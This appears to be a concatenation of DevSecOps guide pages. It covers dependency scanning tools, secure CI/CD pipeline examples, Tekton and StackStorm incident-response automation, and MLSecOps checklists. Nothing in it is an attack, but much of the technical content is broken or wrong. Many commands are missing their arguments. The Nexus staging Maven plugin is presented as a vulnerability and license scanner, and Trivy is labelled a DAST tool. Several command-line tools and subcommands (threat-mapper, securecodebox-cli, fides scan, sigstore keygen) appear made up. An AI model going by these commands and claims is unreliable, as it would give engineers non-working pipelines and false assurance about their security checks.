`WhiteSource` | A cloud-based open source security and license compliance management tool | Over 30 languages including Java, .NET, Python, Ruby, JavaScript, PHP | | `Snyk` | A developer-first security and dependency management tool | Over 40 languages including Java, .NET, Python, Ruby, JavaScript, PHP, Go | | `FOSSA` | A software development tool that automates open source license compliance and vulnerability management | Over 30 languages including Java, .NET, Python, Ruby, JavaScript, PHP | Here is an example of how to use SCA in a CI/CD pipeline: 1. Choose an SCA tool: There are several SCA tools available in the market, such as Snyk, Black Duck, and WhiteSource. You need to choose an SCA tool that is compatible with your application stack and provides the features that you need. 2. Integrate the tool into your CI/CD pipeline: Once you have chosen an SCA tool, you need to integrate it into your CI/CD pipeline. This can be done by adding a step in your pipeline that runs the SCA tool and reports the results. 3. Configure the tool: You need to configure the SCA tool to scan your application code and identify the open source components that are used in your application. This can be done by providing the tool with access to your source code repository and specifying the dependencies of your application. 4. Analyze the results: Once the SCA tool has finished scanning your codebase, it will generate a report of the open source components that are used in your application and any vulnerabilities that are associated with those components. You need to analyze the report and take action on any vulnerabilities that are identified. 5. Remediate the vulnerabilities: If any vulnerabilities are identified, you need to remediate them by either upgrading the vulnerable components or removing them from your application. Here is an example of a CI/CD pipeline that includes an SCA step: ``` name: MyApp CI/CD Pipeline on: push: branches: [ master ] jobs: build: runs-on: ubuntu-latest steps: - name: Checkout code uses: actions/checkout@v2 - name: Build and test run: | npm install npm test - name: Run SCA uses: snyk/actions@v1 with: file: package.json args: --severity-threshold=high - name: Deploy to production if: github.ref == 'refs/heads/master' run: deploy.sh ``` In this example, the SCA tool is integrated into the pipeline using the Snyk GitHub Action. The tool is configured to scan the package.json file and report any vulnerabilities with a severity threshold of "high". If any vulnerabilities are identified, the pipeline will fail and the developer will be notified to take action. ## OWASP Dependency-Check 1- Perform a scan on a local project ``` dependency-check.sh --scan ``` 2- Scan a Maven Project ``` dependency-check.sh --scan ``` 3- Scan a Gradle Project ``` dependency-check.sh --scan ``` 4- Perform a scan on a local project ``` dependency-check.sh --updateonly ``` 5- Specify Database Connection String ``` dependency-check.sh --scan --connectionString ``` 6- Specify CVSS Severity Threshold ``` dependency-check.sh --scan --suppression ``` 7- Specify Output Format ``` dependency-check.sh --scan --format ``` ## scancode-toolkit 1. Install scancode-toolkit: ``` pip install scancode-toolkit ``` 2. Perform a scan on a specific project or directory ``` scancode ``` 3. Generate a scan report in JSON format ``` scancode --json-pp > report.json ``` 4. Exclude specific licenses from the scan ``` scancode --license-exclude ``` ## Nexus Dependency Management 1. Install Nexus Repository Manager ``` wget -O nexus.zip unzip nexus.zip cd nexus-x.x.x ./bin/nexus start ``` 2. Configure Nexus Repository Manager Open web browser and access `http://localhost:8081` {: .note } Integrate vulnerability scanning tools like OWASP Dependency Check or Sonatype Nexus IQ with Nexus Repository Manager. These tools can analyze your dependencies for known security vulnerabilities and provide actionable insights to mitigate risks. Regularly scan your repositories for vulnerabilities and apply patches or upgrade dependencies as necessary. {: .note } Continuous Integration and Deployment (CI/CD) Integration: Integrate Nexus Repository Manager with your CI/CD pipelines to automate dependency management. Use build tool plugins or APIs provided by Nexus Repository Manager to fetch dependencies and publish artifacts seamlessly within your build and deployment processes. ### Dependency Vulnerability Management Integrate Nexus Lifecycle or Nexus IQ into your CI/CD pipeline to scan and analyze dependencies for vulnerabilities. ``` # .gitlab-ci.yml stages: - build - test scan_dependencies: stage: build image: maven:3.8.4 script: - mvn org.sonatype.plugins:nexus-staging-maven-plugin:1.6.8:rc-list -B - mvn org.sonatype.plugins:nexus-staging-maven-plugin:1.6.8:rc-open -B - mvn clean package - mvn org.sonatype.plugins:nexus-staging-maven-plugin:1.6.8:rc-close -B only: - master ``` ### License Compliance Code: Integrate Nexus Lifecycle or Nexus IQ to scan and enforce license compliance. ``` # Jenkinsfile pipeline { agent any stages { stage('Build') { steps { sh 'mvn clean install' } } stage('Scan Licenses') { steps { sh 'mvn org.sonatype.plugins:nexus-staging-maven-plugin:1.6.8:rc-list' // Perform license compliance checks sh 'mvn org.sonatype.plugins:nexus-staging-maven-plugin:1.6.8:rc-close' } } } } ``` Configuration: Configure Nexus Repository Manager to enforce license policies and restrictions. ``` org.sonatype.plugins nexus-staging-maven-plugin 1.6.8 ``` ### Continuous Monitoring Code: Implement continuous monitoring and scanning of your CI/CD pipeline for security vulnerabilities and compliance issues. ``` # .travis.yml language: java script: - mvn clean install - mvn org.sonatype.plugins:nexus-staging-maven-plugin:1.6.8:rc-list # Run additional security scans and tests - mvn org.sonatype.plugins:nexus-staging-maven-plugin:1.6.8:rc-close ``` Configuration: Set up automated alerts and notifications for any security or compliance issues detected during the CI/CD process. ``` org.sonatype.plugins nexus-staging-maven-plugin 1.6.8 nexus-server https://nexus.example.com true default-deploy deploy deploy ``` ================================================ FILE: docs/code/secure-pipeline.md ================================================ --- layout: default title: Secure Pipeline parent: Code --- # Secure Pipeline {: .no_toc } ## Table of contents {: .no_toc .text-delta } 1. TOC {:toc} --- A secure pipeline is a set of processes and tools used to build, test, and deploy software in a way that prioritizes security at every stage of the development lifecycle. The goal of a secure pipeline is to ensure that applications are thoroughly tested for security vulnerabilities and compliance with security standards before they are released into production. A secure pipeline typically involves the following stages: 1. Source Code Management: Developers use source code management tools, such as Git or SVN, to manage the code for the application. 2. Build: The application code is built into executable code using a build tool, such as Maven or Gradle. 3. Static Analysis: A static analysis tool, such as a SAST tool, is used to scan the code for security vulnerabilities. 4. Unit Testing: Developers write unit tests to ensure that the application functions as expected and to catch any bugs or errors. 5. Dynamic Analysis: A dynamic analysis tool, such as a DAST tool, is used to test the application in a running environment and identify any security vulnerabilities. 6. Artifact Repository: The application and all its dependencies are stored in an artifact repository, such as JFrog or Nexus. 7. Staging Environment: The application is deployed to a staging environment for further testing and validation. 8. Compliance Check: A compliance tool is used to check that the application meets any regulatory or compliance requirements. 9. Approval: The application is reviewed and approved for deployment to production. 10. Deployment: The application is deployed to production using a deployment tool, such as Ansible or Kubernetes. By implementing a secure pipeline, organizations can ensure that their applications are thoroughly tested for security vulnerabilities and compliance with security standards, reducing the risk of security breaches and ensuring that applications are more resilient to attacks. Step 1: Set up version control * Use a version control system (VCS) such as Git to manage your application code. * Store your code in a private repository and limit access to authorized users. * Use strong authentication and authorization controls to secure access to your repository. Step 2: Implement continuous integration * Use a continuous integration (CI) tool such as Jenkins or Travis CI to automate your build process. * Ensure that your CI tool is running in a secure environment. * Use containerization to isolate your build environment and prevent dependencies from conflicting with each other. Step 3: Perform automated security testing * Use SAST, DAST, and SCA tools to perform automated security testing on your application code. * Integrate these tools into your CI pipeline so that security testing is performed automatically with each build. * Configure the tools to report any security issues and fail the build if critical vulnerabilities are found. Step 4: Implement continuous deployment * Use a continuous deployment (CD) tool such as Kubernetes or AWS CodeDeploy to automate your deployment process. * Implement a release process that includes thorough testing and review to ensure that only secure and stable code is deployed. Step 5: Monitor and respond to security threats * Implement security monitoring tools to detect and respond to security threats in real-time. * Use tools such as intrusion detection systems (IDS) and security information and event management (SIEM) systems to monitor your infrastructure and applications. * Implement a security incident response plan to quickly respond to any security incidents that are detected. example of a secure CI/CD pipeline ``` # Define the pipeline stages stages: - build - test - security-test - deploy # Define the jobs for each stage jobs: build: # Build the Docker image and tag it with the commit SHA runs-on: ubuntu-latest steps: - name: Checkout code uses: actions/checkout@v2 - name: Build Docker image run: | docker build -t myapp:${{ github.sha }} . docker tag myapp:${{ github.sha }} myapp:latest test: # Run unit and integration tests runs-on: ubuntu-latest steps: - name: Checkout code uses: actions/checkout@v2 - name: Install dependencies run: npm install - name: Run tests run: npm test security-test: # Perform automated security testing using SAST, DAST, and SCA tools runs-on: ubuntu-latest steps: - name: Checkout code uses: actions/checkout@v2 - name: Perform SAST uses: shiftleftio/action-sast@v3.3.1 with: scan-targets: . shiftleft-org-id: ${{ secrets.SHIFTLEFT_ORG_ID }} shiftleft-api-key: ${{ secrets.SHIFTLEFT_API_KEY }} - name: Perform DAST uses: aquasecurity/trivy-action@v0.5.0 with: image-ref: myapp:${{ github.sha }} - name: Perform SCA uses: snyk/actions@v1 with: file: package.json args: --severity-threshold=high deploy: # Deploy the application to the production environment runs-on: ubuntu-latest if: github.ref == 'refs/heads/master' steps: - name: Deploy to production uses: appleboy/ssh-action@master with: host: production-server.example.com username: ${{ secrets.PRODUCTION_SERVER_USERNAME }} password: ${{ secrets.PRODUCTION_SERVER_PASSWORD }} script: | docker pull myapp:latest docker stop myapp || true docker rm myapp || true docker run -d --name myapp -p 80:80 myapp:latest ``` In this example, the YAML file defines a CI/CD pipeline with four stages: build, test, security-test, and deploy. Each stage has a job that performs a specific set of tasks. The `build` job builds a Docker image for the application, the `test` job runs unit and integration tests, the `security-test` job performs automated security testing using SAST, DAST, and SCA tools, and the `deploy` job deploys the application to the production environment. Each job is defined with a `runs-on` parameter that specifies the operating system that the job should run on. The steps for each job are defined with `name` and `run` parameters that specify the name of the step and the command to run. The `uses` parameter is used to specify external actions or packages that should be used in the step. The `if` parameter is used to conditionally run a job based on a specific condition, such as the branch or tag that triggered the pipeline. Secrets are stored in the GitHub repository's secrets store and accessed using the `${{ secrets.SECRET_NAME }}` syntax. ## Buildkite Within your pipeline configuration file (e.g., `.buildkite/pipeline.yml`), add a step for running the vulnerability scanning tool. ``` steps: - label: "Security Scan" command: | # Run the vulnerability scanning tool # Replace the command and options with the appropriate tool you're using my-vulnerability-scanner scan --output report.txt # Print the generated report cat report.txt # Define the conditions when this step should run (e.g., on specific branches or pull requests) branches: master ``` ## Travis Open your project's `.travis.yml` file for editing. ``` script: - | # Run the vulnerability scanning tool # Replace the command and options with the appropriate tool you're using my-vulnerability-scanner scan --output report.txt # Print the generated report cat report.txt ``` ## Drone Open your project's `.drone.yml` file for editing. ``` pipeline: security: image: your-vulnerability-scanner-image commands: - | # Run the vulnerability scanning tool # Replace the command and options with the appropriate tool you're using my-vulnerability-scanner scan --output report.txt # Print the generated report cat report.txt ``` ## Tekton ### Sample Flow 1- Create a Dockerfile: ``` FROM golang:1.16-alpine WORKDIR /app COPY . . RUN go build -o myapp CMD ["./myapp"] ``` 2- Create a Tekton Task (build-task.yaml): ``` apiVersion: tekton.dev/v1beta1 kind: Task metadata: name: build-task spec: steps: - name: build image: golang:1.16-alpine workingDir: /workspace/source command: - go args: - build - -o - /workspace/myapp - . volumeMounts: - name: workspace mountPath: /workspace - name: package image: alpine command: - tar args: - czf - /workspace/myapp.tar.gz - -C - /workspace - myapp volumeMounts: - name: workspace mountPath: /workspace - name: publish image: ubuntu command: - echo args: - "Publishing artifact: /workspace/myapp.tar.gz" volumeMounts: - name: workspace mountPath: /workspace volumes: - name: workspace emptyDir: {} ``` 3- Create a Tekton Pipeline (pipeline.yaml): ``` apiVersion: tekton.dev/v1beta1 kind: Pipeline metadata: name: myapp-pipeline spec: tasks: - name: build-task taskRef: name: build-task ``` 4- Apply the Task and Pipeline: ``` kubectl apply -f build-task.yaml kubectl apply -f pipeline.yaml ``` 5- Create a Tekton PipelineRun (pipelinerun.yaml): ``` apiVersion: tekton.dev/v1beta1 kind: PipelineRun metadata: name: myapp-pipelinerun spec: pipelineRef: name: myapp-pipeline ``` 6- Apply the PipelineRun: ``` kubectl apply -f pipelinerun.yaml ``` ### Cheatsheet 1- Install Tekton Pipelines ``` kubectl apply --filename https://storage.googleapis.com/tekton-releases/pipeline/latest/release.yaml ``` 2- Create a Task ``` kubectl apply --filename ``` 3- Create a Pipeline ``` kubectl apply --filename ``` 4- Create a PipelineRun ``` kubectl apply --filename ``` 5- List Pipelines ``` tkn pipeline list ``` 6- Describe a Pipeline ``` tkn pipeline describe ``` 7- List PipelineRuns ``` tkn pipelinerun list ``` 8- Describe a PipelineRun ``` tkn pipelinerun describe ``` 9- List Tasks ``` tkn task list ``` 10- Describe a Task ``` tkn task describe ``` 11- List TaskRuns ``` tkn taskrun list ``` 12- Describe a TaskRun ``` tkn taskrun describe ``` 13- Create a TriggerBinding ``` kubectl apply --filename ``` 14- Create a TriggerTemplate ``` kubectl apply --filename ``` 15- Create a Trigger ``` kubectl apply --filename ``` 16- List Triggers ``` tkn trigger list ``` 17- Describe a Trigger ``` tkn trigger describe ``` 18- Delete a Pipeline ``` kubectl delete pipeline ``` 19- Delete a PipelineRun ``` kubectl delete pipelinerun ``` 20- Delete a Task ``` kubectl delete task ``` ## Privacy as Code Installs the Fides tool using pip, the Python package manager ``` pip install fides ``` Scans the specified directory for privacy-related issues and sensitive data ``` fides scan ``` Generates a detailed report of the scan results and saves it to the specified output file ``` fides report -o ``` Specifies a pattern to exclude specific files or directories from the scan ``` fides scan --exclude ``` Uses a custom ruleset file for the scan, allowing you to define specific privacy rules and checks ``` fides scan --ruleset ``` Ignores specific patterns or files from triggering false positive alerts during the scan. ``` fides scan --ignore ``` Sets the output format for the generated report, such as JSON, CSV, or HTML ``` fides report --format ``` Configures the scan to exit with a non-zero code if privacy issues are detected, enabling integration with CI/CD pipelines. ``` fides scan --exit-code ``` ## Continuous deployment security ### secureCodeBox Install secureCodeBox ``` kubectl apply -f https://raw.githubusercontent.com/secureCodeBox/secureCodeBox/master/deploy/complete.yaml ``` 2. Run a vulnerability scan ``` kubectl apply -f https://raw.githubusercontent.com/secureCodeBox/secureCodeBox/master/demo/scan-job.yaml ``` 3. Monitor scan progress ``` kubectl get scan -w ``` 4. View scan results ``` kubectl describe scan ``` 5. Integrate secureCodeBox with other security tools: ``` securecodebox-cli scan start --target --scan-type --integration or Example: securecodebox-cli scan start --target https://example.com --scan-type zap-scan --integration jira ``` 6. Schedule regular scans using Kubernetes CronJobs ``` kubectl apply -f https://raw.githubusercontent.com/secureCodeBox/secureCodeBox/master/demo/scheduled-scan.yaml ``` 7. Integrate secureCodeBox with your CI/CD pipeline: ``` securecodebox-cli scan start --target --scan-type --pipeline or Example: securecodebox-cli scan start --target https://example.com --scan-type nmap-scan --pipeline my-cicd-pipeline ``` 8. Schedule regular scans using Kubernetes CronJobs ``` kubectl edit hook ``` ### ThreatMapper 1. Install ThreatMapper ``` git clone https://github.com/deepfence/ThreatMapper.git cd ThreatMapper ./install.sh ``` 2. Perform a security assessment on a specific target: ``` threat-mapper scan ``` 3. View the scan results: ``` threat-mapper report ``` 4. Integrate ThreatMapper with your CI/CD pipeline: ``` threat-mapper scan --target --pipeline Example: threat-mapper scan --target 192.168.0.1 --pipeline my-cicd-pipeline ``` 5. Customize scan policies by modifying the configuration files: ``` vim ~/.threat-mapper/config.yaml ``` 6. Enable notifications for scan results: ``` vim ~/.threat-mapper/config.yaml ``` 7. Configure the desired notification settings, such as email notifications or Slack alerts. ``` crontab -e ``` Add a cron job entry to execute the threat-mapper scan command at specified intervals. 8. Integrate ThreatMapper with other security tools: ``` threat-mapper scan --target --integration Example: threat-mapper scan --target 192.168.0.1 --integration jira ``` Monitor and address security issues based on the scan results: Regularly review the scan reports and take necessary actions to remediate the identified security issues. 9. Generate visualizations and reports ``` threat-mapper visualize ``` This command generates visualizations of the scan results, such as network diagrams and attack surface maps. ## StackStorm ### Automated Vulnerability Scanning: Description: Schedule regular vulnerability scans using a scanning tool like Nessus or Qualys. Command/Code: `st2 run vulnerability_scanner.scan` To schedule regular vulnerability scans using a scanning tool like Nessus or Qualys with StackStorm (st2), you can create a custom StackStorm pack and define a Python action that invokes the vulnerability scanning tool's API. Here's an example code snippet: - [ ] Create a new StackStorm pack: ``` st2 pack create vulnerability_scanner ``` - [ ] Create a new Python action file scan.py within the pack: ``` # vulnerability_scanner/actions/scan.py from st2common.runners.base_action import Action class VulnerabilityScanAction(Action): def run(self): # Code to invoke the vulnerability scanning tool's API # Example: Nessus API call to start a scan # Replace , , and with your actual values response = requests.post( url="/scans//launch", headers={"X-ApiKeys": ""}, ) if response.status_code == 200: return True else: return False ``` - [ ] Register the action in the pack.yaml file: ``` # vulnerability_scanner/pack.yaml actions: - vulnerability_scanner/actions/scan.py ``` This code provides a basic structure for invoking a vulnerability scanning tool's API. You would need to modify it to fit your specific scanning tool's API and authentication method. ### Vulnerability Assessment: Description: Retrieve vulnerability scan results and analyze them for critical vulnerabilities. Command/Code: `st2 run vulnerability_scanner.analyze_scan` - [ ] Create a new StackStorm pack: ``` st2 pack create vulnerability_assessment ``` - [ ] Create a new Python action file analyze.py within the pack: ``` # vulnerability_assessment/actions/analyze.py from st2common.runners.base_action import Action import requests class VulnerabilityAssessmentAction(Action): def run(self): # Code to fetch vulnerability scan results from the scanning tool's API # Example: Nessus API call to retrieve scan results # Replace , , and with your actual values response = requests.get( url="/scans//results", headers={"X-ApiKeys": ""}, ) if response.status_code == 200: results = response.json() # Perform analysis on the scan results # Example: Check for critical vulnerabilities critical_vulnerabilities = [] for result in results: if result["severity"] == "Critical": critical_vulnerabilities.append(result["name"]) return critical_vulnerabilities else: return None ``` - [ ] Register the action in the pack.yaml file: ``` # vulnerability_assessment/pack.yaml actions: - vulnerability_assessment/actions/analyze.py ``` This code provides a basic structure for fetching vulnerability scan results from a scanning tool's API and performing analysis on them. You would need to modify it to fit your specific scanning tool's API and authentication method. Additionally, you can customize the analysis logic to suit your specific requirements. ### Incident Trigger: Description: Detect a critical vulnerability and trigger an incident response workflow. Command/Code: `st2 run incident.trigger` - [ ] Create a new StackStorm pack: ``` st2 pack create incident_investigation ``` - [ ] Create a new Python action file gather_info.py within the pack: ``` # incident_investigation/actions/gather_info.py from st2common.runners.base_action import Action import requests class IncidentInvestigationAction(Action): def run(self, vulnerability): # Code to gather additional information about the vulnerability # Example: Query relevant logs or systems # Replace and with your actual values response = requests.get( url=f"/search?query={vulnerability}" ) if response.status_code == 200: logs = response.json() # Perform further analysis or extract relevant information from logs # Example: Return the log entries related to the vulnerability return logs else: return None ``` - [ ] Register the action in the pack.yaml file: ``` # incident_investigation/pack.yaml actions: - incident_investigation/actions/gather_info.py ``` - [ ] Run the incident investigation action: ``` st2 run incident_investigation.gather_info vulnerability= ``` This code provides a basic structure for gathering additional information about a vulnerability by querying relevant logs or systems. You would need to modify it to fit your specific log sources or systems and the query syntax for retrieving the relevant information. ### Incident Investigation: Description: Gather additional information about the vulnerability by querying relevant logs or systems. Command/Code: `st2 run incident.investigate` - [ ] Create a new StackStorm pack: ``` st2 pack create incident_investigation ``` - [ ] Create a new integration file investigate_vulnerability.yaml within the pack: ``` # incident_investigation/integrations/investigate_vulnerability.yaml name: investigate_vulnerability description: Gather additional information about a vulnerability by querying relevant logs or systems. actions: - name: query_logs description: Query logs to gather information about the vulnerability enabled: true entry_point: query_logs.py runner_type: "python-script" ``` - [ ] Create a new Python script file query_logs.py within the pack: ``` # incident_investigation/actions/query_logs.py import requests from st2common.runners.base_action import Action class QueryLogsAction(Action): def run(self, vulnerability): # Code to query relevant logs or systems # Replace and with your actual values response = requests.get( url=f"/search?query={vulnerability}" ) if response.status_code == 200: logs = response.json() # Perform further analysis or extract relevant information from logs # Example: Return the log entries related to the vulnerability return logs else: return None ``` - [ ] Register the integration in the pack.yaml file: ``` # incident_investigation/pack.yaml integrations: - integrations/investigate_vulnerability.yaml ``` ### Notification and Alerting: Description: Send notifications to the incident response team or stakeholders via Slack, email, or other communication channels. Command/Code: `st2 run notification.send` - [ ] Create a new StackStorm pack: ``` st2 pack create notification_alerting ``` - [ ] Create a new integration file send_notification.yaml within the pack: ``` # notification_alerting/integrations/send_notification.yaml name: send_notification description: Send notifications to the incident response team or stakeholders actions: - name: send_slack_notification description: Send a notification to a Slack channel enabled: true entry_point: send_slack_notification.py runner_type: "python-script" - name: send_email_notification description: Send a notification via email enabled: true entry_point: send_email_notification.py runner_type: "python-script" ``` - [ ] Create a new Python script file send_slack_notification.py within the pack: ``` # notification_alerting/actions/send_slack_notification.py import requests from st2common.runners.base_action import Action class SendSlackNotificationAction(Action): def run(self, message, channel): # Code to send Slack notification # Replace with your actual webhook URL webhook_url = "" payload = { "text": message, "channel": channel } response = requests.post(url=webhook_url, json=payload) if response.status_code == 200: return True else: return False ``` - [ ] Create a new Python script file send_email_notification.py within the pack: ``` # notification_alerting/actions/send_email_notification.py import smtplib from email.mime.text import MIMEText from st2common.runners.base_action import Action class SendEmailNotificationAction(Action): def run(self, message, recipient, sender, subject): # Code to send email notification # Replace , , , and with your email server details smtp_server = "" smtp_port = smtp_username = "" smtp_password = "" email_message = MIMEText(message) email_message["Subject"] = subject email_message["From"] = sender email_message["To"] = recipient try: with smtplib.SMTP(smtp_server, smtp_port) as server: server.login(smtp_username, smtp_password) server.send_message(email_message) return True except Exception as e: return str(e) ``` - [ ] Register the integrations in the pack.yaml file: ``` # notification_alerting/pack.yaml integrations: - integrations/send_notification.yaml ``` - [ ] Send a Slack notification: ``` st2 run send_notification.send_slack_notification message= channel= ``` - [ ] Send an email notification: ``` st2 run send_notification.send_email_notification message= recipient= sender= subject= smtp_server= smtp_port= smtp_username= smtp_password= ``` ### Patching Vulnerable Systems: Description: Automatically patch vulnerable systems by executing scripts or running configuration management tools like Ansible. Command/Code: `st2 run remediation.patch` - [ ] Create a new StackStorm pack: ``` st2 pack create vulnerability_patching ``` - [ ] Create a new action file patch_vulnerable_systems.yaml within the pack: ``` # vulnerability_patching/actions/patch_vulnerable_systems.yaml name: patch_vulnerable_systems description: Automatically patch vulnerable systems runner_type: "remote-shell-script" enabled: true entry_point: patch_vulnerable_systems.sh ``` - [ ] Create a new shell script file patch_vulnerable_systems.sh within the pack: ``` # vulnerability_patching/actions/patch_vulnerable_systems.sh # Code to patch vulnerable systems using Ansible or other configuration management tools ansible-playbook -i inventory.ini patch_vulnerable_systems.yml ``` - [ ] Create an Ansible playbook file patch_vulnerable_systems.yml: ``` # vulnerability_patching/actions/patch_vulnerable_systems.yml - name: Patch vulnerable systems hosts: vulnerable_hosts tasks: - name: Apply security patches apt: name: "*" state: latest update_cache: yes ``` - [ ] Register the action in the pack.yaml file: ``` # vulnerability_patching/pack.yaml actions: - actions/patch_vulnerable_systems.yaml ``` ### Network Isolation: Description: Isolate compromised systems from the network to prevent further damage. Command/Code: `st2 run remediation.isolate` - [ ] Create a new StackStorm pack: ``` st2 pack create network-isolation ``` - [ ] Create a new action file ``` st2 action create network_isolation.yaml ``` - [ ] Open the network_isolation.yaml file and add the following content: ``` name: network_isolation description: Isolate compromised systems from the network runner_type: run-local parameters: - name: ip_address description: IP address of the compromised system type: string required: true entry_point: isolation.sh ``` - [ ] Open the isolation.sh file and add the following content: ``` #!/bin/bash ip_address="{{ip_address}}" # Execute commands to isolate the system iptables -A INPUT -s $ip_address -j DROP iptables -A OUTPUT -d $ip_address -j DROP ``` - [ ] Register the action: ``` st2 run packs.setup_virtualenv packs=network-isolation ``` - [ ] Test the action by running: ``` st2 run network-isolation.network_isolation ip_address= ``` ### User Account Lockout: Description: Lock user accounts associated with the identified vulnerability to limit access. Command/Code: `st2 run remediation.lock_account` - [ ] Create a new StackStorm pack: ``` st2 pack create user-account-lockout ``` - [ ] Create a new action file: ``` st2 action create user_account_lockout.yaml ``` - [ ] Open the user_account_lockout.yaml file and add the following content: ``` name: user_account_lockout description: Lock user accounts associated with the identified vulnerability runner_type: run-local parameters: - name: username description: Username of the user account to lock type: string required: true entry_point: lockout.sh ``` - [ ] Open the lockout.sh file and add the following content: ``` #!/bin/bash username="{{username}}" # Execute commands to lock the user account usermod -L $username ``` - [ ] Register the action: ``` st2 run packs.setup_virtualenv packs=user-account-lockout ``` - [ ] Test the action by running ``` st2 run user-account-lockout.user_account_lockout username= ``` ### Incident Status Update: Description: Update the status of an incident, providing real-time information on the remediation progress. Command/Code: `st2 run incident.update_status` - [ ] Create a new StackStorm pack: ``` st2 pack create incident-status-update ``` - [ ] Create a new action file ``` st2 action create incident_status_update.yaml ``` - [ ] Open the incident_status_update.yaml file and add the following content: ``` name: incident_status_update description: Update the status of an incident runner_type: run-local parameters: - name: incident_id description: Identifier of the incident type: string required: true - name: status description: New status of the incident type: string required: true entry_point: status_update.sh ``` - [ ] Open the status_update.sh file and add the following content: ``` #!/bin/bash incident_id="{{incident_id}}" status="{{status}}" # Execute commands to update the incident status # E.g., update a ticketing system, send a notification, etc. echo "Incident $incident_id status updated to $status" ``` - [ ] Register the action: ``` st2 run packs.setup_virtualenv packs=incident-status-update ``` - [ ] Test the action by running: ``` st2 run incident-status-update.incident_status_update incident_id= status= ``` ### Incident Resolution: Description: Close the incident after successful remediation and notify the team about the resolution. Command/Code: `st2 run incident.resolve` - [ ] Create a new StackStorm pack: ``` st2 pack create incident-resolution ``` - [ ] Create a new action file: ``` st2 action create incident_resolution.yaml ``` - [ ] Open the incident_resolution.yaml file and add the following content: ``` name: incident_resolution description: Resolve an incident and notify the team runner_type: run-local parameters: - name: incident_id description: Identifier of the incident type: string required: true entry_point: resolution_script.sh ``` - [ ] Open the resolution_script.sh file and add the following content: ``` #!/bin/bash incident_id="{{incident_id}}" # Execute commands to resolve the incident # E.g., close a ticket, notify the team, etc. echo "Incident $incident_id resolved successfully" ``` - [ ] Register the action: ``` st2 run packs.setup_virtualenv packs=incident-resolution ``` - [ ] Test the action by running: ``` st2 run incident-resolution.incident_resolution incident_id= ``` ## Secure Pipeline Using Jenkins Declarative Pipeline ``` pipeline { agent any environment { DOCKER_REGISTRY = "your_docker_registry" DOCKER_CREDENTIALS_ID = "your_docker_credentials_id" SONARQUBE_URL = "your_sonarqube_url" SONARQUBE_TOKEN = "your_sonarqube_token" } stages { stage('Build') { steps { script { git 'https://github.com/devopscube/declarative-pipeline-examples.git' sh 'mvn clean install' } } } stage('SonarQube Scan') { steps { withSonarQubeEnv('SonarQube') { script { sh "mvn sonar:sonar -Dsonar.projectKey=my_project -Dsonar.host.url=${SONARQUBE_URL} -Dsonar.login=${SONARQUBE_TOKEN}" } } } } stage('Containerize') { steps { script { sh "docker build -t ${DOCKER_REGISTRY}/my-app:${BUILD_NUMBER} ." sh "docker login -u your_docker_username -p your_docker_password ${DOCKER_REGISTRY}" sh "docker push ${DOCKER_REGISTRY}/my-app:${BUILD_NUMBER}" } } } stage('Deploy') { steps { script { sh "kubectl apply -f kube-deployment.yaml" } } } } post { success { echo "Pipeline executed successfully!" } failure { echo "Pipeline execution failed!" } always { echo "Cleaning up..." sh "docker logout ${DOCKER_REGISTRY}" } } } ``` In this pipeline, the stages include building the project, performing a SonarQube scan, containerizing the application, and deploying it using Kubernetes. The pipeline also handles post-execution actions based on the success or failure of the pipeline. Make sure to replace the placeholders with appropriate values, such as `your_docker_registry`, `your_docker_credentials_id`, `your_sonarqube_url`, and `your_sonarqube_token`, to match your environment. ## References * https://devopscube.com/declarative-pipeline-parameters/ ================================================ FILE: docs/mlsecops/azure.md ================================================ --- layout: default title: Azure parent: MlSecOps --- # Azure {: .no_toc } ## Table of contents {: .no_toc .text-delta } 1. TOC {:toc} --- ## Responsible AI principles - [ ] Azure Machine Learning Azure Machine Learning is a cloud-based service for building, training, and deploying machine learning models. It provides tools and capabilities to promote responsible AI practices. ``` az ml workspace create --workspace-name --resource-group --location ``` - [ ] Azure Machine Learning Interpretability Azure Machine Learning Interpretability provides tools to understand and interpret machine learning models, making them more transparent and explainable. ``` azureml-interpret ``` - [ ] Azure Cognitive Services Azure Cognitive Services offer pre-built AI models and APIs for tasks such as natural language processing, computer vision, and speech recognition. These services can be used responsibly by adhering to guidelines and incorporating fairness and bias considerations. ``` az cognitiveservices account create --name --resource-group --kind TextAnalytics --sku --location ``` - [ ] Azure AI Ethics and Governance Azure provides various governance tools and features to ensure responsible AI practices, including Azure Policy, Azure Blueprints, and Azure Advisor. ================================================ FILE: docs/mlsecops/mlsecops.md ================================================ --- layout: default title: MlSecOps nav_order: 7 has_children: true permalink: docs/mlsecops --- # MlSecOps {: .no_toc } {: .fs-6 .fw-300 } ================================================ FILE: docs/mlsecops/modelrobustnessandadversarialattacks.md ================================================ --- layout: default title: Model Robustness and Adversarial Attacks parent: MlSecOps --- # Model Robustness and Adversarial Attacks {: .no_toc } ## Table of contents {: .no_toc .text-delta } 1. TOC {:toc} --- Assessing and improving the robustness of machine learning models against adversarial attacks. This involves testing models against various adversarial scenarios, developing defenses to mitigate attacks (e.g., adversarial training), and understanding the limitations of model robustness. ## OWASP Machine Learning Security Verification Standard (MLSVS) - [ ] Familiarize with MLSVS Read the MLSVS documentation available on the OWASP website. - [ ] Assess Threat Model Conduct a threat modeling exercise to identify potential security risks and threats in your machine learning system. - [ ] Verify Model Training Data Perform data validation and integrity checks on the training dataset to ensure its quality and prevent adversarial tampering. - [ ] Verify Model Training Process Validate the security measures implemented during the model training process, such as access controls, versioning, and secure storage. - [ ] Evaluate Model Robustness Test the model against various attack techniques, such as evasion attacks, poisoning attacks, and adversarial inputs, to assess its resilience. - [ ] Verify Model Explanations Validate the interpretability and explainability of the model's predictions to ensure transparency and accountability. - [ ] Assess Model Deployment Security Evaluate the security controls implemented during the deployment of the machine learning model, including access controls, authentication, and encryption. - [ ] Monitor Model Performance Establish monitoring mechanisms to detect and mitigate model performance degradation, data drift, and adversarial attacks in real-time. - [ ] Implement Privacy Protection Apply privacy-preserving techniques, such as differential privacy, anonymization, or federated learning, to protect sensitive data used in the machine learning system. - [ ] Regularly Update MLSVS Practices Stay updated with the latest MLSVS guidelines and best practices to adapt to evolving machine learning security threats. ## Supply Chain Security for MLSecOps * **Install Sigstore** ``` # Clone the Sigstore repository git clone https://github.com/sigstore/sigstore # Change to the Sigstore directory cd sigstore # Install the Sigstore CLI make install ``` * **Generate and manage cryptographic keys** ``` # Generate a new key pair sigstore keygen # List the available keys sigstore key list # Set the active key sigstore key set ``` * **Sign a software artifact** ``` # Sign a software artifact using the active key sigstore sign ``` * **Verify the signature of a signed artifact:** ``` # Verify the signature of a signed artifact sigstore verify ``` * **Integrate Sigstore into the supply chain** Sigstore can be integrated into various stages of the supply chain, such as during software development, build, deployment, and distribution. For example, you can configure your CI/CD 